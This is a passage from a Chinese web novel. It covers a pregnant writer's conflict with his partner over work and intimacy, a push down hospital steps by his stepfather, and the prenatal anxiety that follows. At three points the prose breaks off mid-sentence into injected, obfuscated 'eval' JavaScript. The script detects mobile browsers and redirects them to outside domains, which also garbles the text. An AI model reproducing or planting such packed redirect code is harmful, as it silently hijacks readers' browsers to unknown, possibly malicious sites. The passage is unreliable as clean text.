他根本没听到刚才阿圆和何悦说了什么。 太愧疚了。 他咬了下嘴唇,站起来说:“抱歉,我去趟洗手间,回来咱们接着谈。” 看着他离开,所有人都有些茫然,何悦想了想,拿起手机发了个信息。 - 沈昕站在洗手台前,打开冷水疯狂冲脸。 半晌关上水龙头,躬身撑着台面,任凭脸上和发梢上的水珠不断落下。 ……他到底在干什么啊? 开会的时候不仅走神,还走得那么离谱,当着众人的面想纪轻行,想那些限制级画面…… 是不是疯了?! 手掌按住额头,心里难过极了。 签售会上,他亲口对大家承诺结婚不会影响事业,甚至可能有助于事业,言犹在耳,然而事实呢? 不止今天,过去这段日子,除了跟纪轻行厮混就什么都没做,以前的他可是几乎无时无刻不在考虑写作的! 还有第一次做线上活动的时候,因为纪轻行发了条信息,他就被吸引了注意力,一度忘了正在做活动。当时他居然没觉得怎样,现在看来,其实他早就被纪轻行影响了。 再不悬崖勒马就彻底完蛋了。 “昕昕!” 洗手间的门突然被推开,纪轻行一脸紧张地走进来。 “你怎么了?”他掏出纸巾给沈昕擦脸擦头发,上上下下仔细观察。 沈昕吸了吸鼻子,一脸厌世的表情:“你怎么来了?” “何悦跟我说你好像不舒服。” 果然。 那么尴尬的场面,大家肯定都发现了。 不知道会怎么想他。 沈昕简直想开个地缝钻进去,推开纪轻行说:“没不舒服,你去忙你的,不用管我。” 纪轻行诡异地看着他。 沈昕更加大力地推他,更加坚决地说:“你出去吧,让我一个人冷静一下,我还要开会呢。” “昕昕……” “出去。” 纪轻行深深皱眉。 但是没办法。 他只能听话。 纪轻行走了。沈昕转身撑着台面,拼命让自己冷静。 十分钟后,他走出洗手间,看到纪轻行还站在门外。 “昕昕,你……” 他没有回答,沉着脸快步走向会议室的方向。 回到会议室,阿圆贴心地把之前讨论过的内容概括出要点,沈昕认认真真地听,会议继续,之后非常顺利,再没有出现过一丁点儿岔子。 纪轻行在办公室坐立不安,甚至想打开会议室的摄像头远程观看,最后理智战胜 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接下来,何悦汇报项目内容,纪轻行也有些心不在焉,恨不得立刻飞回家去。 他也确实这样做了,中午饭没吃,迅速梳理了下午的事情,做完必须做的便开车走了。然而打开家门,家里还是上午他们离开时的样子。 沈昕不在。 纪轻行更加犯愁地拧起眉头。 沈昕坐在咖啡厅,专注地捧着手机敲字,直到被来电打断。 手指在空中停住,犹豫了一会儿,见电话完全没有挂断的意思,便切出界面接起来。 “昕昕你在哪儿?”纪轻行语气很急。 沈昕尽量平静地说:“在咖啡厅,我工作室这边。” 纪轻行愣了一下,问:“有事情?” “没有,好久没出门了,不想那么早回家。” “哦。”这似乎没有不对,但纪轻行的预感非常不好,“你吃饭了吗?” “吃过了,跟阿圆一起吃的。” “现在还跟阿圆在一起?” “没有,我一个人。” 纪轻行想了想,说:“把地址发给我,我过去。” 沈昕立刻反问:“为什么?” 抗拒的意思非常明显,纪轻行耐心解释:“你肚子那么大了,身边没人,我担心你。” “不用担心,我没事。” “昕昕……” “真没事,我想自己待一会儿。” 纪轻行一怔。 沈昕也开始解释:“没别的意思,就是想自己呆一会儿,吃过晚饭我就回去。” “那我到时去接你?” “不用。”沈昕仍是坚决地拒绝,“我……让阿圆送我吧。” “干嘛麻烦人家……” “哎呀没事的。” 沈昕的语气已经开始不耐烦,纪轻行怕再说下去说不好,只能依他,又叮嘱了几句便挂了电话。 接着双手叉腰在客厅烦躁地踱步。 预感更差了。 更有一丝危险的气息从心底升了上来。 53.真实 天色完全暗下来的时候,沈昕回来了。 走进家门,看到坐在餐桌边的纪轻行,不禁一愣:“你在家?” 比平时的下班时间早一些。 “给你打电话的时候就回来了。”纪轻行起身走过去,从头到脚观察,又看沈昕身后,“阿圆呢?” 心知糊弄不了,沈昕鼓了鼓腮帮子,避过那道执着的视线向前走,说:“没让他送。” 纪轻行就知道,跟上去问:“那你怎么回来的?” “打车。”沈昕径自洗手,“有点儿热,我去洗个澡。” 不由分说地逃了。 他洗了很长时间。 其间纪轻行敲了两次门,一次确认他没事,另一次提醒他不要一直待在浴室里。 最后他终于出去,露在浴袍外面的脸、脖子、小腿、手脚白里透红。 想去厨房找点儿喝的,纪轻行却先他一步,直接递了一大杯白开水来。 沈昕接过,坐在餐椅上仰头大口喝,水滑过喉咙、胸口、隆起的肚子,一路起伏非常明显。 纪轻行注视着他。 沈昕的手指攥着玻璃杯,鼓足勇气说:“咱们最近先……分房睡吧。” 纪轻行的耳膜里“轰隆”一声,他压制着的恐慌问:“昕昕,今天究竟发生了什么?老实说,你这样,我很担心,也很害怕。” 一种已经过去的相似情绪重新漫上心头。 沈昕抿了抿唇,说:“你知道我就是沉心之后,总是刻意避开我的那几天,我也很害怕。” 纪轻行一愣:“所以你现在是在……惩罚我?” 沈昕摇了摇头:“我在惩罚我自己。” 搁在腿上的手指缓缓收缩、打开、再收缩,他把玻璃杯里的水全部喝光,终于抬头对上了纪轻行充满困惑与担忧的眼睛。 “今天开会的时候,我一直在想你,想到完全忘了时间地点和场合。最近也是,除了和你……厮混,我失去了对其他所有事情的动力和兴趣,即便现在,我还是非常想抱着你、亲吻你,想跟你……做/爱,做到天荒地老,哪怕就这样死去也没关系。我陷得太深了,理智几乎被全部剥夺,或许是受了孕期激素的影响,或许是真地沉溺了,无论如何,我都不想这样。所以我们保持一点距离好吗?让我不要总是看见你,让我找回一些自我。我本来不想说,因为有点丢脸,可是看到你心慌害怕,我又很……舍不得。纪轻行,如果我可以不要这么爱你就好了。” 他语速缓慢,语气也很平静。 可是听在纪轻行耳里却宛如一颗大过一颗的炸弹。 原来竟然是这样。 原来他才是罪魁祸首。 原来沈昕如此爱他。 澎湃的感动与爱意令他想要立刻抱住沈昕,然后疯狂纠缠,就像沈昕说的,做/爱做到天荒地老,哪怕就那样死掉。 可是如今,这样的爱已经不够。 他要更强大、更稳定、更包容、更乐观、更睿智,如此才能容纳沈昕细腻丰富,宛若星空大海般的灵魂。 “好,我答应你,暂时保持距离。” 他没有拥抱,只是伸手覆住沈昕脑顶。 “你无需过分在意,因为无论你有多爱我,我都会更加爱你。因为我像对待珍宝那样疼爱你,像对待知己那样理解尊重你,也像对待神明那样崇拜你。” 纪轻行在沈昕身边单膝跪下,低头亲吻他隆起的肚子。 胎儿感受到了,欢快地动起来,让沈昕的肚子这一块那一块地起伏。 纪轻行问:“疼吗?” 沈昕摇了摇头,脸上终于褪去愁容,说:“它还算有分寸。” “这个优点要继续保持下去。”纪轻行靠近,温和地跟里面的小家伙对话,“最近大多是你一个人和昕昕爸爸在一块儿,所以你要连同阿行爸爸的份,一起给予昕昕爸爸陪伴,好不好?” 沈昕笑了出来,也伸手揉纪轻行的脑袋。 “你看吧。”他突然说。 纪轻行一愣。 “我的书,你随便看吧,还有定制作品,既然最初是你的想法,那么以后的讨论你也来参加,哪怕不是开会,平时咱们也可以交流。” 纪轻行眼睛一亮,差点儿跳起来欢呼。 谢天谢地可喜可贺,惩罚结束了! - 沈昕重新开始在书房写作。 不过不再反锁门,只把坐在书桌前、摆出端正的姿态当作一种仪式感,以及逐渐找回自我和生活主线的标的。 吃过午饭,躺在沙发上小憩一会儿,接着在小区里散步,为不久后迎接新生命做准备。 小区内外有不少格调优雅的咖啡厅、西餐厅、书店,还有社区图书馆,他会选择其中一个度过下午的时光,或是看书,或是在手机上写稿,有时戴上耳机听音乐,列表里也不乏胎教的内容。 如果纪轻行下班早,他们便一起吃晚饭,如果纪轻行有事要忙,他就自己吃,随意而松弛。 晚饭后做运动,然后或写稿或看书,或梳理写作的灵感和计划,或者和纪轻行一起看电视。 洗完澡道过晚安,他们分房睡觉。 一开始仍不适应,时不时走神,一个人躺在床上,也不免辗转反侧,想象此时此刻的纪轻行在做什么,是否也在另一间屋子里如此想念着他。 每每动起这样的心思,总是会产生打开门去找他的冲动。 沈昕用意志力坚持。 坚持固然痛苦,但也渐渐明白,克制心痒难耐与喉头的渴涩,也是一种爱。 渐渐地,他也看到了纪轻行的努力:家里属于宝宝的物品越来越多,宝宝的房间越来越有模样,院子初步脱离了出厂设置,书架上全部换了新书,属于他的那一排做了专门的设计,真人比例的大放厥词立牌安置在旁边,仿佛守护他与他作品的骑士。 一切正在好起来,向着他所希望的方向。 到了周末,纪轻行不上班,却也不打扰他。 只是会隔一段时间轻轻敲响书房的门,给他送来一盘洗好切好,非常便于入口的晶莹水果,也可能是一杯牛奶、一块馨香诱人的蛋糕。 “谢谢。” 沈昕每每笑着接过,放在手边,哪怕不吃,只是看着,写东西的效率和质量都会随之提高。 这才是他先前说的“谈恋爱结婚有助于事业”。 他给定制作品做了个大胆的进度表,写好每天的内容,第一时间发给纪轻行看,纪轻行也像之前一样,瞬间变身“沉老师的狗”,认认真真地写来详细的反馈。 这些都通过文字进行。 好像关于写作的讨论,他们都更习惯线上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945916|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一来二去的,沈昕觉得,他们应该更加大胆一点。 总结出值得详谈的几个点,他发信息给不知正处于这栋别墅哪个位置的家伙—— “我们面谈吧。” “好啊。” 秒回。 他似乎看到了那家伙勾起的嘴角和眼里的微笑。 带着纸笔来到餐桌边,他们认认真真地聊了将近两个小时。 果然与只利用文字的沟通不同,面谈有了更多延展和深入的机会,沈昕几次被纪轻行的想法震撼到,几次停下来长久地思考。 他们达成了不少共识,也还有一些问题悬而未决,又有几个新问题出现,一切都显得…… 那么美好。 最后沈昕说:“让我再仔细想想。” “嗯,主动权永远在你手上,而且我认为,这样的讨论和最终的成品终究是两码事,你的文字具有奇迹般的能量,经过你细致的展开,所有目前尚显摇摆的、可商榷的、或许可以更好的都会消于无形,只要你写出来,它们便有了最强大的说服力。” 沈昕一笑:“太夸张了,你被喜爱蒙蔽了理智。” 纪轻行认真地摇头:“不是蒙蔽,是真实,我的喜爱也是真实。” 沈昕对上纪轻行的眼睛,那里正闪耀着复杂而激动的光芒。 似乎就在这一刻,纪轻行和网络上的纪轻行才真正重合。 沈昕不由自主地说:“今天晚上的碰撞……非常美妙,甚至是种比做/爱……更令我不能自已的体验,谢谢你。” “因为我们在用思想沟通爱意。”纪轻行笃定道,“我也谢谢你,让我的现实与灵魂合二为一,永远不再分离。” 从餐桌边站起来的时候,沈昕身体一绷,皱眉撑住桌面。 “怎么了?”纪轻行紧张地凑过去。 “腿抽筋。”沈昕咬牙忍着,按着桌面的手指用力。 “先坐下。”纪轻行扶着沈昕坐好,单膝跪在他脚边。 沈昕说:“右腿。” “嗯。”纪轻行一手托住他修长洁白的小腿肚子,一手按着脚底,缓缓向上抬。 沈昕身体歪着,更加皱眉。 纪轻行提醒道:“不要憋气,慢慢呼吸。” 沈昕听话照做,又过了一会儿终于平息,他的额头上甚至冒了汗。 纪轻行双手按摩他的小腿,问:“之前抽过筋吗?” “第一次,可能是在提醒我,可怕的孕晚期要来了。” 纪轻行无可无不可地笑了一下,说:“不要怕,觉得难受、有压力,或者有想法通通告诉我,你尽管完全地依靠我、腻歪我,想发泄也随时拿我发泄,我一直在。对了,抽筋是不是因为缺钙?可上次产检的时候没说缺……那是刚才坐得太久了?还是有些着凉?你最近都是自己睡,是不是也跟睡姿有关?一直保持同一个睡姿可能会这样……所以还要继续分房吗?我在的话晚上多少能顾着你,帮你调整调整。” 一边揉一边絮絮叨叨。 沈昕低头看着面前的人,感受着腿上舒适的力量,渐渐地忽略了说话的内容,只余一股很生活、很日常、很简单,又很浓厚的幸福感。 和刚才的思想交流截然不同,却同样重要。 度过了前段时间被“欲”支配的阶段,现在他们开始转向“爱”了。 54.孕晚期 沈昕没有说错,孕期进入第八个月,以小腿抽筋为信号,种种不适接连到来。 肚子大得明显,胎儿尚未入盆,位置仍然靠上,顶着胃部,常常让他喘不过气。想要直起身来令呼吸通畅,腰又会酸。站着累,坐着闷,躺只能侧躺,还会压得腿疼。 沈昕:…… 如果像机器人一样,可以把身体拆成零件分别存放就好了。 纪轻行提出不去上班,全天在家陪他,他拒绝了。 他不想给自己添加太多特殊性,暗示多了,反而会加剧难受。 纪轻行便又建议两人一起去公司,增加运动量的同时转移转移注意力,沈昕仍是拒绝。 那样会显的他像纪轻行的挂件。 纪轻行蹙眉。 他在意的是沈昕一个人在家,万一出事没人照应就糟糕了。 沈昕则更在意私人空间,让孕产服务团队住家,或者哪怕只是请个住家的阿姨,他肯定也都不会接受。 最后提出让他回自己家,沈昕还是拒绝。 纪轻行彻底没辙。 整个人神色复杂,半天说不出来一句话。 沈昕渐渐懂了。 纪轻行没办法代替他怀孕,也正因此会有独属于孕夫伴侣的焦虑—— 觉得自己无能,派不上任何用场,从而陷入更多更大的担心。 沈昕便道:“要么我白天去工作室吧,你上下班的时候接送我,这样也是有运动量,有人在身边,能转移注意力,还能随时跟他们讨论稿子。” 听起来不错,但是…… “你要么先别写了吧?现在坐一会儿就难受,怎么挨得住长时间的专注?” 沈昕摇摇头:“写稿也是转移注意力的方式,我可以坐一坐站一站嘛,或者语音输入,我想在生之前把这本写完。” “昕昕……” “我有分寸。” 他盘膝坐在沙发上,以前这个姿势非常舒服,现在肚子大了,腿盘不了那么标准,也坚持不了太久,纪轻行很了解他,总能在最合适的时候给他身后放上靠垫,然后坐在沙发底下帮他捏腿。 “就这么定了吧?”沈昕望着忙碌的人。 “好吧,重点是你心情愉快。” 沈昕笑起来:“身上确实不太轻松,但心情也确实愉快。” 他们有过太多的心灵沟通,无需说明,纪轻行就能透彻理解。 他又何尝不是一边不轻松,一边无比幸福呢? 纪轻行侧耳趴上沈昕的肚子,温柔地用一根手指来回抚摸—— 没错,不敢放上去整个手掌。 沈昕和宝宝那么娇嫩柔软,他得万分小心。 - 沈昕开始天天去工作室。 虽然身体负担重,但有事可做,有人可交流,还有此前从来没有体验过的按时上班的新鲜感,不适多多少少能被忽略一些。 最新完结的作品谈好了出版、漫画和影视版权,世纪集团的定制作品按预期走着进度条,工作室各部门有序高效地工作,肚子里的孩子亦蓬勃地成长。 胎位逐渐向下,铺垫着不久后的生产,不再挤压胃,憋气的问题暂时解决,但耻骨又理所当然地开始疼,走路或改变姿态时更疼,即便有准备,偶尔也会令人难以抵挡地龇牙皱眉。 又一次产检将至,他缓缓走进医院大门,走向一楼大厅。 手机响了,他停下脚步接起来,另一只手撑住腰。盛夏炎热,孕晚期的身体更是像个大火球,话从嗓子里冒出来,感觉都要烧着了。 “嗯,我自己先来了,正好阿圆顺路,就送我过来了,你忙吧,忙完了再来,不着急,如果这边先结束我就在医院等你。” “他没有跟我进来,没必要这么麻烦,就一点点路,我又不是残废了,而且外面也不好停车。” “嗯,知道,没事,你开会吧。” 沈昕笑着挂了电话。 纪轻行真是越来越婆妈了。 好想赶紧把宝宝生出来,至少能不再听唠叨。 视线下移,立刻就被隆起的肚子挡住,宽松的孕夫T恤被撑得相当饱满,所谓显瘦的黑色在此时没有任何效果。 哎,这身衣服明明才买不久,眼看着就又要买新衣服了。 一边想一边走,脸上始终挂着不自觉的微笑。 走上医院主楼的台阶,正要进大厅,迎面突然碰见两个人。 沈昕登时收敛笑容站住。 ……是梁瑛和童童。 梁瑛和童童也站住,童童的表情有一瞬间的惊喜,梁瑛的脸上却是明显的僵硬。 沈昕别开视线,不知道,也不想知道他的僵硬究竟是因为看到了自己,还是因为看到了…… 怀孕即将生产的自己。 他迅速调整情绪,打招呼道:“梁叔叔,没想到在这儿碰上了,身体不舒服吗?还是童童生病了?” 梁瑛没说话,童童小声道:“哥哥我没生病,我陪爸爸来的。” 梁瑛表面上亦看不出不妥,沈昕便想到了之前的猜测,梁瑛很可能想通过医疗手段再度怀孕。 他吞咽了一下,不知道还能说什么。 尴尬的站了一会儿,梁瑛问:“你来产检?” “嗯。”沈昕点了下头。 “一个人?” 沈昕又“嗯”了一声,顺势问道:“我爸呢?没跟你们一块儿来?” “他在公司。”梁瑛顿了顿,“再过一段时间,等你去了,也就用不上他了。” 沈昕:…… 更加不知道该说什么。 “可是昕昕,你会做生意吗?”突然间,梁瑛的话多了起来,像是不吐不快,“你从来没做过生意,完全是个门外汉,你是打算让纪轻行帮你管?那样的话,跟他当初计划的收购又有什么不同?说到底,他看似是对你好,实际上不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14951268|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是在进行他的预谋。” 沈昕皱眉道:“纪轻行不是这样的……” “你被他迷惑了,你没能像我之前教你的那样迷惑住他,就只能被他迷惑。昕昕,我和你爸爸现在才知道,原来你早就是著名作家了,难怪你以前对我们……你有恃无恐,看不上我们,可你也不想想,如果不是你爸爸宠你,如果不是我劝你爸爸不要干涉你,你怎么成为著名作家?结果你现在反而和差点儿害得我们一无所有的纪轻行站在一起对付我们?” “梁叔叔。”沈昕极度忍耐着,“您这是胡搅蛮缠,这件事情的根本和关键不是您说的这些,我和纪轻行也完全谈不上什么‘对付’你们,我要是真想‘对付’……” 梁瑛冷笑一声:“你连我的孩子都害死了,还不算对付?” 沈昕:………… 鸡同鸭讲,再说下去没有任何意义。 他极其无奈地叹了口气,径直向前走去。 然而万万没想到的是,这样的举动彻底激怒了梁瑛,近一年来深深困囚于情绪和压力的梁瑛在此时燃爆了心中名为恶意的种子,在沈昕经过他身边的瞬间,猛地抓住沈昕的肩膀,狠狠往前一推。 这是他的同态复仇。 这仇分明是臆想出来的。 但对他来说,沈昕就是不久前令他失去孩子、更不久前将他的伪装揭穿,让他丑态尽出的罪魁,更是过去十多年来,始终梗在他嗓子眼里的一根刺。 他恨死沈昕了。 饶是沈昕早已彻底对梁瑛失望,也压根儿没想到他居然会这么疯狂。 他毫无防备,孕晚期沉重的身体令他很难做出有效的应对,从台阶上摔下去的时候,只来得及出于本能护住肚子。 侧身着地,短暂的空白之后,肚子里传来一阵明显的缩痛,脊背“唰”地爬满了冷汗,他咬牙攥住衣服,在仿佛突然停顿又猛然咚咚大作的心跳声中拼命感受,拼命告诉自己“没有出血”“没有湿意”“没事”…… 可是肚子越发疼了,掌下的皮肤紧绷而发硬,仿佛一块大石。 好在这里是医院,周围来来往往都是人,医护也就在跟前。 很多人围了过来,七嘴八舌地询问,接着让开通道,护士推来轮椅,他被扶着坐上去,一路快速推进大厅。 余光捕捉到了梁瑛死灰一样的面孔,以及童童双手捂嘴,不可置信又极度惊恐的眼神。 梁瑛拉着童童就走。 童童愣愣地走了几步,突然顿住梁瑛的手,说:“爸爸,哥哥,他……” “走。”梁瑛沉着脸色继续向前。 童童又跟着走了几步,惊慌失措的表情渐渐收住,他变得坚定,用力咬了一下嘴唇,彻底从梁瑛的手掌中抽回手,大声说:“爸爸!你为什么要推哥哥?……咱们要去看哥哥!” 转身就跑,去追大厅里涌动的人群。 梁瑛看着他的背影,脸色难看到了极点。 55.产前焦虑 纪轻行赶到医院的时候,沈昕的情况已经初步稳定了。 摔倒后的撞击引起了不规律宫缩,程度一度很强,好在人就在医院,及时得到控制,没有进一步发展。 纪轻行紧张地听医生讲完,道了谢,等医生离开病房,更加紧张地扑到床边,问沈昕究竟怎么回事。 明明不久前在电话里还好好的。 沈昕一脸心如死灰的表情。 就是纪轻行很熟悉的,曾经陷入污遭家事时惯有的表情。 回头一看,梁瑛和童童站在门边,脸色都很难看。 他多少有些猜到,站直身体问:“你们……” 这时门外传来急切的脚步声,沈知易着急地跑了进来,左右看看,也问梁瑛:“发生什么事了?昕昕怎么突然……” 梁瑛不说话。 除了靠在床头的沈昕,所有人都盯着他。 可怕的沉默中,童童忍不住了,红着眼睛大声说:“我、我和爸爸在医院门口遇见了哥哥,然后爸爸……推了哥哥!哥哥就从台阶上摔了下去……” 他哽咽着把事情讲了,想到什么说什么,包括梁瑛和沈昕的一些对话,没有专门组织语言,却已足够清楚分明。 沈知易看着梁瑛的眼神变得震惊。 纪轻行则从头到脚都变冷了。 他捏起拳头,捏得十分用力,骨节咯咯作响。 正要迈步,沈昕突然低声阻止道:“纪轻行。” 纪轻行吸了口气,转过身来,沈昕说:“让他们走,我很累,不想看到这么多人。” 众人一时都没反应,沈昕便看沈知易,极力克制道:“爸,你们走吧。” 片刻后,纪轻行的拳头终于放松,也看了沈知易一眼。 沈知易只好说:“那……我们先走,昕昕你……好好休息,有情况及时联系。” 推着梁瑛和哭哭啼啼的童童出门,童童很不舍地回头,只看到沈昕近乎绝望的冷笑。 病房终于安静下来。 纪轻行回到病床边,同一时间,沈昕抱了上来,抱得很紧,浑身都在发抖。 “纪轻行,我很害怕,我是不是真地做错了?否则为什么会……刚才宝宝万一、万一我也要……万一我再摔得严重一点,宝宝很可能就会……之前我跟你闹别扭的时候,就说过可以不要肚子里的孩子,刚才给你打电话,我又在想孕晚期这么不舒服,如果能早一点儿过去,早一点儿把宝宝生出来就好了,接着就……可是我不是那个意思,我不是!我想宝宝平平安安的,就算我再不舒服也没关系,我……” 沈昕带上了哭腔。 纪轻行听得难过得要命,反复抚摸沈昕的脊背:“不是!昕昕,你没有做错任何事,宝宝也压根儿没有怪你,咱们的宝宝是最乖巧的宝宝,怎么能不明白你的意思呢?今天只是个意外,绝对的意外,但也提醒了我们,让我们看到了梁瑛真实的面孔。我们有了警惕,就不会再有事了。” 顿了顿,嗓音冷下来。 “我也不会再给他这种机会。” 沈昕一愣,说:“现在什么都不要做好么?在宝宝出生之前,我不想再发生任何事,只想平静地度过这段时间。” 纪轻行“嗯”了一声:“没问题,都听你的。” 他把手伸进被子,轻轻放在沈昕肚子上,那里失去了从前一贯的柔软,现在正紧绷着。 纪轻行的心也紧绷着,问:“还疼么?” “一点点。”沈昕说,“可以忍受的那种。刚才非常疼,所以我怕虽然现在不怎么疼了,但突然一下就又会……” “别怕,咱们现在在医院,有任何问题都能立刻解决,而且你听刚才医生的意思,其实就是没事对不对?让你留院观察主要是为了稳妥。” “嗯。”沈昕仍是紧紧抓着纪轻行的衣服。 纪轻行心中绞痛,说:“都怪我没陪你,从今天开始,我一直陪你,寸步不离,生的时候也跟你一起进产房,好不好?” 沈昕又“嗯”了一声。 此时此刻,他什么都不考虑了,只把一切都交给眼前的人。 永远依赖着他。 纪轻行又去看沈昕胳膊上的擦伤。 不严重,只涂了碘伏,可是面积很大。 他深深皱眉。 要不是沈昕已经身心俱疲,他也已经答应了,他现在就要把梁瑛大卸八块。 沈昕问道:“是医院告诉你的?” 纪轻行点点头:“而且童童也给我打电话了。” 沈昕一愣:“看来我爸过来也是他说的,他……回去以后会不会……” 纪轻行立刻懂了,说:“这孩子确实不错,我等下联系你爸,让他们不要为难童童,然后再给童童打个电话聊一聊。” “嗯,他明显也被吓到了。” 纪轻行垂目望着沈昕,复又把他搂进怀里,感慨万千:“我也被吓到了,我快吓死了,都没敢自己开车,小刘送我过来的,一路上我提心吊胆,恨不得给车安个翅膀直接飞到你身边。小刘还问我要不要告诉家里……” “你没告诉吧?”沈昕担心地问。 “嗯,想着先把你的情况确定下来再说,如果问题不大就不惊动他们,长辈们爱操心,的确是关心咱们,但到头来还是给你增加压力。你已经很辛苦了,不是必须的东西就先屏蔽掉。” 纪轻行非常体贴。 替他细致入微地考虑,有条不紊地执行。 再没什么不满足。 沈昕抓住他的手,隔着雪白的被子,一同放在沉重的下腹。 惊心动魄后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14959599|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于再度回到了安全的港湾。 “谢谢你。” 最脆弱、最恐慌的此时,他已然毫无保留。 “你的出现对我来说太重要了。在我过去的人生中,我所认为的与家人的深厚感情就是我生命的基石,但是后来,基石坍塌了,甚至应该说,那基石从来不曾存在,我的生命其实不曾扎根,它孤零零地漂浮,随时都有可能被风雨吹散,但就在这个时候,你出现了,你来到我的身边,给了我真正的基石,让我的生命重新扎根。我不敢想象,如果那个时候没有你,当我发现了家人的真相,我会……何去何从?以前我没意识到,现在我明白了,那个时候,我之所以度过的还算容易,正是因为有你。” 他说这些,纪轻行不仅心疼,还有些愧疚:“可如果不是因为我,你也不会知道他们……” “总会知道的。”沈昕笃定地说,“我的意思恰恰是,如果不是因为你而知道,是因为别的契机知道,甚至说,提出收购酒店,让我爸想出卖儿子这种昏招的人不是你,而是别人,那我……” 纪轻行的手再次攥成拳。 没错,如果真是那样,他心爱的人、崇拜的神就会堕入难以想象的深渊,不知道会遭遇多少痛苦,经历多少折磨。 比今天的意外更令他后怕。 “你说得对,还好是我。” 纪轻行非常认真,嘴唇轻触在沈昕额头。 “昕昕,我会努力爱你,让你一辈子都庆幸,那个时候,还好是我。” 观察了三天,检查确定没有问题,沈昕出院了。 纪轻行把大部分工作都带回了家,如约地全程陪伴,偶尔必须去公司,就带沈昕一起去。 可是即便如此,沈昕依旧未能完全放心,意外的阴影笼罩着他,他无法专心做任何事,每隔一会儿就要停下来感受肚子的情况。 怀孕超过34周,沉重、紧绷、坠胀、耻骨痛、假性宫缩,种种不适在此时被无限放大,他会紧张地等待、紧张地计算时间、紧张地不断在网上搜索,看到好的描述就稍稍放心,一旦看到不好的说法便觉得他也是最坏的情况。就算没感觉到什么特别的,也会不由地在心里想,或许待会儿就不正常了。 写作受到了极大影响,反过来又令他自责。 纪轻行跟他说话他也听不进去,每每总是敷衍。 每天睁开眼睛到闭上眼睛,所有时间都被无效的担心填满,他像根绷到了极限的弦,又像摇摇欲坠的水晶积木,任何一点点风吹草动都有可能令他断裂、坍塌、粉碎…… 总而言之,完全地陷入了产前焦虑。 该怎么办呢? 纪轻行望着身边好不容易睡着,却仍在皱眉的可怜家伙,大脑疯狂运转。 毋庸置疑,现在是老婆孩子最需要他的时刻。 56.霸总专属 纪轻行帮沈昕调整好安全带,确认了座椅的位置,问:“有没有不舒服?” 沈昕靠着倾斜的椅背,腰后垫着靠垫,进入第九个月的肚子十分壮观,胎儿逐渐下沉,腿必须分开才能轻松一点。 他说:“没有特别的不舒服,也没有任何舒服。” 纪轻行顿时露出心疼的表情。 沈昕有点复杂地笑了:“不过我一点儿也不后悔,我想和你生孩子,我很期待、也很喜欢我们的宝宝,所以你也不许后悔。” 那家伙曾经是表达过悔意的。 那种看着心爱的人承受辛苦却无能为力的心情他懂。 纪轻行“嗯”了一声:“当然,我也想和你生孩子,让我们俩的血脉、基因和爱牢固地结合在一起,形成新的生命,这是我们之间最浪漫、最神圣的事。”顿了顿,语气活泼了些,“这种浪漫神圣具有唯一性,所以我们只生一个。” “好。”沈昕点点头,笑得开了一点。 纪轻行开车驶出小区,走上一条并非是去世纪集团总部的道路。 沈昕疑惑道:“不去公司?” “嗯,带你去个别的地方。” “什么地方?”沈昕更加疑惑。 “容我先保密好吗?我想给你惊喜。” 如果是以前,沈昕会自自然然地接受,然后开始想象惊喜,但此一时彼一时,现在的他首先想到的是:“很远吗?要走多久?” 纪轻行知道,他的产前焦虑顺利发作了。 “不算远,四五十分钟吧。” 沈昕闻言皱眉:“那还不远?四五十分钟该到郊区了,万一……” 他没说下去。 陷入焦虑的人会不受控制地想很多,担心言出法随亦是其中一部分。 纪轻行抬手揉了下他的脑袋,谆谆善诱道:“别怕,你忘了,昨天产检的时候,医生说你和宝宝非常好,建议你多运动,今天我就带你去运动运动。而且你想啊,咱们家、公司和现在要去的地方,距离医院的车程差不多都是半小时,退一万步讲,就算你不舒服,无论咱们在哪里,去医院的速度也都一样。” “我没怕。”沈昕微弱地说。 纪轻行一笑:“那就好,我知道你和宝宝都非常勇敢,哪怕偶尔害怕也是正常的。” “纪轻行,你不用刻意……” “不是刻意安慰,我说真的呢,昕昕,你愿意怀孕生孩子,不仅不后悔,还很期待、很喜欢,你真地非常勇敢。” 沈昕一怔。 胸口有股暖流经过,缓缓进入四肢,渐渐融化了他近来挥之不去的紧绷。 眼眶和鼻子都有些酸,他摸了摸肚子,低声说:“因为那个人是你我才会勇敢。真的,在香国的时候,如果你没来,我肯定就去做流产了。时间过得好快啊,它现在都这么大了。” 车里开着空调,掌下的孕腹却保持着热热的温度,手心和体内的暖流交汇,止住了酸涩,只余不断涌出的幸福。 两人随意聊着,路途不再漫长。 到了目的地,沈昕隔着车窗看,比之市里各大商业区和住宅区,这里稍显空旷荒凉,许多业态处于建设中,路上行人车辆非常少。 ……难道真地只是来散步? 这有什么好惊喜的。 沈昕没说出来,但略略失望的小表情很明显。 